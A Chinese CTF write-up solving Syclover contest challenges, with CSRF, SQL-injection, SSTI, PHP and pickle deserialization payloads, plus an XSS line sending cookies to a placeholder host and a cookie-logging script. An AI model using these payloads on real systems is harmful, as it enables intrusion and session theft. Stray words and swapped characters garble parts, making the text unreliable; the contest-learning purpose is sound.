打开后状态码405,555555,而后看了一下报头存在请求错误,换成POST请求后,查看到源码javascript
<?php error_reporting(0); if ($_SERVER['REQUEST_METHOD'] !== 'POST') { header("HTTP/1.1 405 Method Not Allowed"); exit(); } else { if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){ show_source(__FILE__); } else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){ phpinfo(); // collect information from phpinfo! } } Payload:POST:roam1[]=1&roam2[]=2
去phpinfo查看内容,发现存在f1444aagggg.php页面,打开又没内容,再去报文看看,返回包报头看到flag,为SYC{w31c0m3_t0_5yc_r0@m_php1}php
一开始不知道怎么作,而后群里管理员说修复了BOT,觉得是存储型XSS的考点,而后尝试了几种方法都没做用。而后就去休息了,回来后发现给了hint,说了是CSRF的考点,没接触过,百度学习了一下,上个连接:https://juejin.im/post/6844903689702866952,看了一下应该是从提交报告让BOT转帐给咱们。html
先用Burp构造一个CSRF的Poc,这里须要补充一句:java
让他发送提交的做用。这里构造好后要放在VPS上,这里谢谢m3w师傅提供!python
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://173.82.206.142:8005/transfer.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="target" value="atao" /> <input type="hidden" name="money" value="10000" /> <input type="hidden" name="messages" value="xxx" /> <input type="submit" value="Submit request" /> </form> <script>document.forms[0].submit(); </script> </body> </html>
有个验证码须要md5加密,写个脚本git
#coding: utf-8 import hashlib s = '' dic = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM' md5 = hashlib.md5(dic).hexdigest() for a in dic: for b in dic: for c in dic: for d in dic: t = str(a)+str(b)+str(c)+str(d) md5 = hashlib.md5(t).hexdigest() if md5[0:5] == 'b2156': print t print md5
提交的报告内容web
<script> new Image().src = 'Payload的网址'; </script>
过一下子就转钱过来了,而后购买flag便可,最后flag为SYC{cross_s1t3_r3q43st_4orgery_1s_44nny}sql
打开后提示为查看源码,经过查看得到注释内容,上面还有使用base64解码的字样,即解码注释内容得到flag,为SYC{F1@_4s_h4Lpfullllll}express
根据提示存在备份文件,尝试发现为www.zip,得到一个假的flag和源码,源码以下flask
<html> <head> <title>Lola's website1.0</title> </head> <body> <?php echo '<h1>welcome to my website</h1>'; ?> <?php echo '<p>i will never forget to backup my website......</p>'; ?> <?php echo '<img src="img/lola.gif" alt="welcome~"/>'; ?> </body> </html> <?php $key1 = $_POST['a']; $key2 = base64_decode('c3ljbDB2ZXI='); if($key1 === $key2) { //this is a true flag echo '<p>SYC{xxxxxxxxxxxxxxxxxx}</p>'; } ?>
经过POST请求a变量而后比较base64解码内容得到flag,Payload:POST:a=sycl0ver,得到flag为SYC{Backup_1s_4_good_h4bit_l0l}
经过提示知道是使用GitHack得到源文件,可是源文件打开后获得的是flag is toooo old!,根据题目提示应该是版本的问题,经过命令git log查看,发现存在另外一个版本有flag的,使用命令git diff 3796466675a1db323e42170def92bee71344a2ee进行对比,得到flag为SYC{I_l0ve_sycl0ver_l0l}
进去后到最下面看到一段代码,GET请求传入username变量,POST请求传入passwd变量,两个变量分别等于admin和syclover得到flag
Payload:
GET:?username=admin
POST:passwd=syclover
flag为SYC{d0_y0u_k0nw_GET?}
打开后看到存在.bak的文件,而后用蚁剑链接,根目录下存在flag,flag为SYC{1iuzHuang_yyd_G0d!}
打开后以下:
Please use a GET request to pass in the variables a and b, compare them with strcmp and let strcmp return a value of NULL.
Note that a and b cannot be equal.
传一个a和b不相等且strcmp后置空,一个等于数组就能够绕过了
接着是:
OKOK,You got the first step.
Please POST a variable c that is not a number to make it equal to 123
传入c=123,但不是数字,应该是弱比较
Payload:GET:?a=x&b[];POST:c=123e
flag为SYC{php_4s_so_funny}
存在一个目录穿梭和一个读取文件两个页面
分别查看了两个文件,目录穿梭使用的是exec("ls $search_dir", $contents);,不是$contents = scandir($search_dir);,那可能命令执行的漏洞。
可是不知道flag在哪里,可是可使用find / -name flag配合``反引号带出flag文件的位置
题目给出了提示:1.Do you know the PHP pseudo-protocol? 2.Every 5 minutes remove all upload files.
先找找与伪协议有关的内容,这里从url能够看出来,http://173.82.206.142:8006/index.php?page=home,后面home应该是存在漏洞的,是用伪协议进行读取,http://173.82.206.142:8006/index.php?page=php://filter/read=convert.base64-encode/resource=home
而后就是在登录的地方得到一下源码,主要是验证的地方
admin/user.php(仅列出主要代码)
<?php error_reporting(0); session_start(); $logined = false; if (isset($_POST['username']) and isset($_POST['password'])){ if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){ // No one knows my password, including myself $logined = true; $_SESSION['status'] = $logined; } } if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){ echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>"; die(); } ?>
只须要验证对if ($_POST['username'] === "Longlone" and $_POST['password']==$_SESSION['password'])就能够登录了,username很好实现,可是password和SESSION就不容易,可是置空的话就能够很轻易实现,完成登录了。
接着从第二点提示能够看出,应该是文件上传的洞,找了一下发现只有上传头像的功能,那应该就是这里了,发现只能上传图片,最后解析成了图片,想到了文件包含,能够是用zip协议这类的,这里将php文件压缩后,更改后缀名,上传文件,而后访问?page=./路径+上传文件名%23压缩包中的文件名,便可。这里#必定要urlcode编码。
?id=1' 返回 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1 判断存在sql报错注入 先尝试 ?id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) 返回 hacker? 再试试别的报错函数,这里想到了上一届极客大挑战的extractvalue函数,这里用^进行链接 ?id=1'^extractvalue(1,concat(0x7e,(select(database()))))%23 返回 XPATH syntax error: '~geek_sql' 而后查看表名 ?id=1'^extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek_sql')))%23 返回 XPATH syntax error: '~blog,fllllag' 查看列名 ?id=1'^extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='fllllag')))%23 返回 XPATH syntax error: '~id,fllllllag' 查看fllllag表中的fllllllag列 ?id=1'^extractvalue(1,concat(0x7e,(select group_concat(fllllllag) from fllllag)))%23 返回 XPATH syntax error: '~welcome_to_syclover,longlone_ne' 好像没有回显所有内容,应该是extractvalue函数存在回显长度,配合limit回显每一行的内容 ?id=1'^extractvalue(1,concat(0x7e,(select fllllllag from fllllag limit 2,1)))%23 返回 XPATH syntax error: '~SYC{liuzhuang_4s_@_G00d_m@n}'
打开后是一个留言网站,测试了一下只有留言功能,想到了XSS,不过存在过滤,手工测试了一下过滤了"."、"%"、"&"、"=",这个验证机制真是要人命,百度了一圈都没有结果。后来看到了JSfuck,这个好像就是为了防止xss中被waf过滤出现的。
new Image().src="http://xxx.xxx.xxx.xxx/atao/test.php?cookie="+document.cookie;
将上面的内容经过jsfuck加密,而后用<script></script>框起来,发送,过一下子就能够看到flag了。
IP: 101.132.140.4Date: 2020-11-05 3:08:56 Cookie:PHPSESSID=8fc34c9e3b713a9363d7db177468571e; cookie=SYC{This_iS_your_gift!!!!}
原本是想用XSS平台作的,可是一直没成功,感受是本身太菜了不会用,由于只会用上面给的代码,而后借了Firebasky师傅vps用写了个php,代码以下:
<?php $cookie = $_GET['cookie']; $ip = getenv ('REMOTE_ADDR'); $time = date('Y-m-d g:i:s'); $fp = fopen("cookie.txt","a"); fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n"); fclose($fp); ?>
源码以下:
<?php class pop { public $aaa; public static $bbb = false; public function __wakeup() { //Do you know CVE? echo "The class pop should never be serialized."; $this->aaa = NULL; } public function __destruct() { for ($i=0; $i<2; $i++) { if (self::$bbb) { $this->aaa[1]($this->aaa[2]); } else { self::$bbb = call_user_func($this->aaa["object"]); } } } } class chain { private $AFKL; protected function getAFKL() { return $this->AFKL; } } class epic extends chain { public $aaa; public static $bbb = false; public function __invoke() { return self::$bbb; } public function __call($name, $params) { return $this->aaa->$name($params); } } if (isset($_GET["code"])) { unserialize(base64_decode($_GET["code"])); } else { highlight_file(__FILE__); }
颇有趣的一道题目,被带着一直走,思路没对,一直觉得要和下面那个继承类的东西合在一块儿,而后输出AFKL的值,一开始看到__invoke()魔术方法,感受很开心,而后测试后发现不行,由于epic类中的bbb也是静态的false,因此调用函数后,pop类中的bbb仍是false,因此这里应该是要调用函数,而后取执行$this->aaa[1]($this->aaa[2]),这个也能够从for循环中看出来,由于for循环只作两次,说明第一次去了回调函数,第二次应该不是去回调函数了。有了接下来的一段php代码
<?php class pop { public $aaa; public static $bbb = false; } class chain { private $AFKL; protected function getAFKL() { return $this->AFKL; } } class epic extends chain { public $aaa; public static $bbb = false; } $a = new pop(); $a->$aaa = array('object'=>'phpinfo',1=>'echo',2=>'getAFKL'); object(pop)#1 (2) { ["aaa"]=> NULL [""]=> array(3) { ["object"]=> string(7) "phpinfo" [1]=> string(4) "echo" [2]=> string(7) "getAFKL" } }
这段代码存在一个最致命的错误,就是$a->$aaa,这个原本是想对aaa变量进行赋值的,可是前面写了$,因此这里出来的类会存在两个变量,而后由于我一直没看类的亚子,因此这里卡成一个傻逼。不过之后也要记住对于类中的变量的赋值!!!
<?php error_reporting(0); class pop { public $aaa; public static $bbb = false; } $a = new pop(); $a->aaa = array('object'=>'phpinfo',1=>'system',2=>'cat /flag'); echo base64_encode(str_replace(":1:",":2:",serialize($a)));
打开网站后是一个登录框,查看一下源码发现了,访问后得到了网站的源码,以下:
import re from flask import Flask, render_template_string, request import templates.templates as tp app = Flask(__name__) def isParamLegal(param): return (re.search(r'{{.*}}|{%.*%}', param, re.M|re.S) is None) @app.route('/') @app.route('/index.php') def main(): indexTp = tp.head + tp.index + tp.foot return render_template_string(indexTp) @app.route('/login.php', methods=["POST"]) def login(): username = request.form.get('username') password = request.form.get('password') if(isParamLegal(username) and isParamLegal(password)): message = "Username:" + username + "&" + "Password:" + password else: message = "参数不合法" loginTmpTp = tp.head + tp.login + tp.foot loginTp = loginTmpTp % message return render_template_string(loginTp) @app.route("/hint.php") def hint(): with open(__file__, "rb") as f: file = f.read() return file if __name__ == '__main__': app.run(host="0.0.0.0")
考点知道了是SSTI,可是须要构造,不过存在一个自定义函数,对于单个username或者password进行了限制,不能单个构造出{{ }}或者{% %}这样的内容,可是经过观察,从message下手依旧是能够的,将"{{"和"}}"分别给username和password变量。构造以下:
username = "{{'" password = "'.__class__}}" message = "Username:" + username + "&" + "Password:" + password print message #返回 Username:{{'&Password:'.__class__}} #在网站上测试返回 Username:<class 'str'> #因为没啥过滤很容就能够得到flag了 Payload: username={{' password='.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat flag").read()}}
访问网址,没看出来有啥内容,F12查看源码得到:,GET请求传入name变量后得到源码,以下
from flask import Flask, request import base64 import pickle import io import sys import secret app = Flask(__name__) class YourSecret: def __init__(self, name): self.name = name class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == '__main__': #只容许__main__模块(白名单) return getattr(sys.modules['__main__'], name) #返回对象属性值 raise pickle.UnpicklingError( "global '%s.%s' is forbidden" % (module, name)) def restricted_loads(s): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() @app.route('/') def start(): if request.args.get('name'): text = open(__file__, 'r', encoding='utf-8').read() return text else: return "我以前据说Longlone深藏着一个秘密,可是今天他竟然跟我说他把这个秘密藏在了一个地方,若是我能够找到的话,他就会给我一些奖励。<br>"\ "<br>可是他和我说要按他说的规矩来:必须凑够两我的才能开始游戏,那么,你愿意和我一块儿来吗?<br>"\ "<br>你说你愿意?那真的太好了,那么,在开始以前,告诉我你的名字吧!<br>"\ "<!-- Let me GET your name, so we can get started. -->"\ @app.route('/secret', methods=['GET', 'POST']) def eql(): if request.method == 'POST': #POST请求才能够继续作 try: data = base64.b64decode(request.form.get('secret')) #传入的secret变量进行base64解码 if b'R' in data: #opcode代码中不能存在"R"字符,opcode中常用经过R指令码进行命令执行 return "嗯?还想开挂?当心把你关进神仙服!" else: ser_data = restricted_loads(data) #进行pickle.loads反序列化 if type(ser_data) is not YourSecret: #反序列化后的ser_data应该要属于YourSecret类 return 'Are U sure this is longlone\'s secret?' if ser_data.name == YourSecret(secret.name).name: #这里须要反序列化中的name等于secret类中的name值 return secret.flag #便可得到flag else: return 'The secret is incorrect!' except Exception as e: return repr(e) + '<br/>What do U want to do?' else: return "相信你也看到Longlone给咱们的提示了,那么你能猜出他的秘密是什么吗?<br>" if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
重点代码是/secret路由,分析写在上面了,这里能想到的方式有两种:1)变量赋值,即在传入反序列化字符串时,就让name=secret.name,可是这里多加了一个限制,修改了pickle.Unpickler.find_class()这个函数,使得咱们要调用secret.name时会报错:_pickle.UnpicklingError: global 'secret.name' is forbidden,因此这里使用不了这个方法;2)变量覆盖,经过GLOBAL指令引入的变量,能够看做是原变量的引用。当在栈上修改它的值时,也会致使原变量也被修改,这里这主要就是利用了这个方法,原理的话以后会有一篇文章专门总结的。
Payload:secret=gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVmFkbWluCnViMGNfX21haW5fXwpZb3VyU2VjcmV0CimBfShYBAAAAG5hbWVYBQAAAGFkbWludWIu 转成opcode编码 \x80\x03c__main__\nsecret\n}(Vname\nVadmin\nub0c__main__\nYourSecret\n)\x81}(X\x04\x00\x00\x00nameX\x05\x00\x00\x00adminub. 简单的Payload:b"c__main__\nsecret\n}(S'name'\nS'xxx'\nub0(i__main__\nYourSecret\n(dS'name'\nS'xxx'\nsb." 使用的方式是变量覆盖,RestrictedUnpickler.find_class方法能够返回对象属性值,其中操做符c能够调用该方法,则有了c__main__\nsecret\n;模块__dict__属性是能够进行修改的,构造一个字典来修改对应键为何值,构造经过}(S'name'\nS'xxx'\nu完成,而后使用b指令修改__dict__;最后使用0指令将它弹出栈;后接一个YouSecret类转成opcode字符串便可。
使用的是摩斯电码,flag为SYC{L1UZHU4NGIZ1Y1}
使用的是凯撒密码,flag为SYC{liuzhuangliuzhuang_bangbangbang}
将海报上的字符拼起来便可
看到了佛曰,为与佛论禅,经过在线网站解码http://www.keyfc.net/bbs/tools/tudoucode.aspx,得到flag为SYC{i_l0ve_Japanese_wife}
使用IDA打开后,在main函数(不用F5伪代码)中直接看到flag
应该是非预期了,IDA打开后在sub_140001010函数直接看到flag,flag为SYC{First_Win64_DRIVER}
题目提示了简单的异或,先看看主函数有没有东西,发现了:if ( (char)(buf[i] ^ 0x44) != byte_4060[i] ),异或的点找到了,而后根据上面的内容buf[i]是输入的字符串,因此要去看byte_4060[i]的内容,查看byte_4060得到下面的内容
char byte_4060[32] .data:0000000000004060 byte_4060 db 17h, 1Dh, 7, 3Fh, 37h, 2Dh, 29h, 34h, 28h, 21h, 1Bh .data:0000000000004060 ; DATA XREF: main+93↑o .data:0000000000004060 db 37h, 2Dh, 29h, 34h, 28h, 21h, 1Bh, 3Ch, 2Bh, 3 dup(36h) .data:0000000000004060 db 1Bh, 36h, 2Dh, 23h, 2Ch, 30h, 2 dup(7Bh), 39h //n dup(m)的意思为n个m
将内容和0x44异或得到flag,脚本以下
a =[0x17, 0x1D, 0x7, 0x3F, 0x37, 0x2D, 0x29, 0x34, 0x28, 0x21, 0x1B,0x37, 0x2D, 0x29, 0x34, 0x28, 0x21, 0x1B, 0x3C, 0x2B, 0x36,0x36,0x36,0x1B, 0x36, 0x2D, 0x23, 0x2C, 0x30, 0x7B, 0x7B, 0x39] b = 0x44 flag = '' for i in a: flag =flag + chr(i ^ b) print flag
flag为SYC{simple_simple_xorrr_right??}
先用nc链接看看,看到以下
------------------------------------------ Can you help me to solve my math problem? ------------------------------------------ I have 20 tests ![0] num_1 = 180, num_2 = 428 I can't calculate the expression 'num_1 + num_2'. input your answer:
是一个加法,要循环20次就能够得到flag了,这里能够直接计算20次加法,也可使用脚本,按照提示应该是要用脚本的。恰好上半年学了一点Pwn,这里用一下。脚本以下
import re from pwn import * p = remote('81.69.0.47',1111) p.recvline() p.recvline() p.recvline() for i in range(0,20): put1 = p.recvline() put = p.recvline() calc1 = re.search(r'num_1 = (.*),',put).group().replace('num_1 = ','').replace(',','') calc2 = re.search(r'num_2 = (.*)\n',put).group().replace('num_2 = ','').replace('\n','') #print calc1 #print calc2 s = str(eval(calc1+'+'+calc2)) #print s p.recvline() put2 = p.recvn(18) p.sendline(s) while True: strr = p.recvline() print strr if "SYC" in strr: break
Pwntools库的一些经常使用函数 本地打开:p=process('./filename') 远程打开:p=remote('ip地址',端口) 发送payload 1)p.send(payload)发生payload 2)p.sendline(payload)发送payload,并进行换行(末尾\n) 3)p.sendfter(some_string,payload)接收到some_string后,发送你的payload 接收返回内容 4)p.recvn(N)接受N个字符 5)p.recvline()接收一行输出 6)p.recvline(N)接收N行输出 7)p.recvuntil(some_string)接收到some_string为止
本文做者:erR0Ratao
本文连接:https://www.cnblogs.com/erR0Ratao/p/14023017.html